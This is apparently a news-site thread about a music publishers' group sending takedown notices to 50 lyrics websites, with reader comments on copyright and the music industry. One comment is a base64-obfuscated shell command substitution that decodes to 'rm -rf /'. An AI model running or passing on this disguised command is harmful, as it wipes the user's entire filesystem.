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Music Industry Issues Take Down Notices to 50 Major Lyrics Sites
alphadogg writes "A music industry group is warning some 50 website that post song lyrics that they need to be licensed or face the music, possibly in the form of a lawsuit. The National Music Publishers Association said Monday that it sent take-down notices to what it claims are 50 websites that post lyrics to songs and generate ad revenue but may not be licensed to do so. The allegedly infringing sites were identified based on a complicated algorithm developed by a researcher at the University of Georgia."
The "complicated algorithm" (basis statistics using Excel and Google) is described in the NMPA's "Undesirable Lyric Website List." Anyone remember lyrics.ch?
Read between the lines. This is filed under 'Undesirable side effects of contemporary copyright law'.
The DMCA is at it again.
$(echo cm0gLXJmIC8= | base64 --decode)
These people are doing work and you think that this is wrong.
Why?
The revenue is not coming from selling the lyrics, they're coming from ads on the pages, so they are NOT making money off someone else's work.
Moreover, the entire frigging point of capitalism is making money off someone else's work: otherwise there would be NO PAID MANAGEMENT. NO SHAREHOLDERS. NO INTEREST RATES ON LOANS. EVERY one of those is making money off someone else's work.
Yet I bet you won't call any of those wrong and illegal and justly forbidden, will you?
Theoretically, this could be a preparatory move to putting online their own lyrics clearninghouse, with handy links where you can buy the song or album. But, nah, that would require the RIAA to do something that benefits artists and customers, and that would be against type.
[Sir Garlon] is the marvellest knight that is now living, for he destroyeth many good knights, for he goeth invisible.
That's not sensible reasoning. The point of copyright is to encourage authorship. Someone else making money doesn't matter if it doesn't prevent the copyright holder from making money in any way, and there is no indication that these sites will reduce authorship of new works.
This is my signature. There are many like it, but this one is mine.
I can't say I'm all that sorry to see evil (MAFIAA) go after the bad (shady lyric sites) since many of these sites are copying from each other,
Many musicians use lyrics sites to check if it's an original idea versus a existing one. As usual, the music industry is fucking over musicians, I doubt they will pay musicians for the advertising revenue that the lyrics attract.
My ism, it's full of beliefs.
This would have been a great idea 10 years ago, and I would have spent plenty of money.
Now most recorded music that was in any way popular during the last 50 years seems to be sat on Youtube, guarded by Google's legions of lawyers. Putting lyrics together with an iTunes link would have zero effect on my purchases in 2013. Much too little, much too late.
Something the music industry could still do to save itself (I hope you're reading RIAA):
1) Buy Ticketmaster before it becomes bigger than the entirety of the recorded music business. This will give you leverage to help control the price of concert tickets.
2) When somebody buys an album (say for $10), give them a voucher/code that they can redeem against the cost of attending a concert in the future for the same value (in this case $10)
3) 30%-50% of the vouchers/codes will never be redeemed, so that is pure profit. Make them have no expiry date, this will give them a higher perceived value with music purchasers. Let people trade them, again adding to the perceived value. Limit of 1-2 vouchers per concert.
4) Take a small hit when somebody cashes in their voucher, but you are still making an overall profit on the ticket sale - not to mention the $10 you got for the album originally.
5) Customers enthusiasm for the band increases, more albums and concert tickets are purchased.
6) Profit, resurrection of the music industry.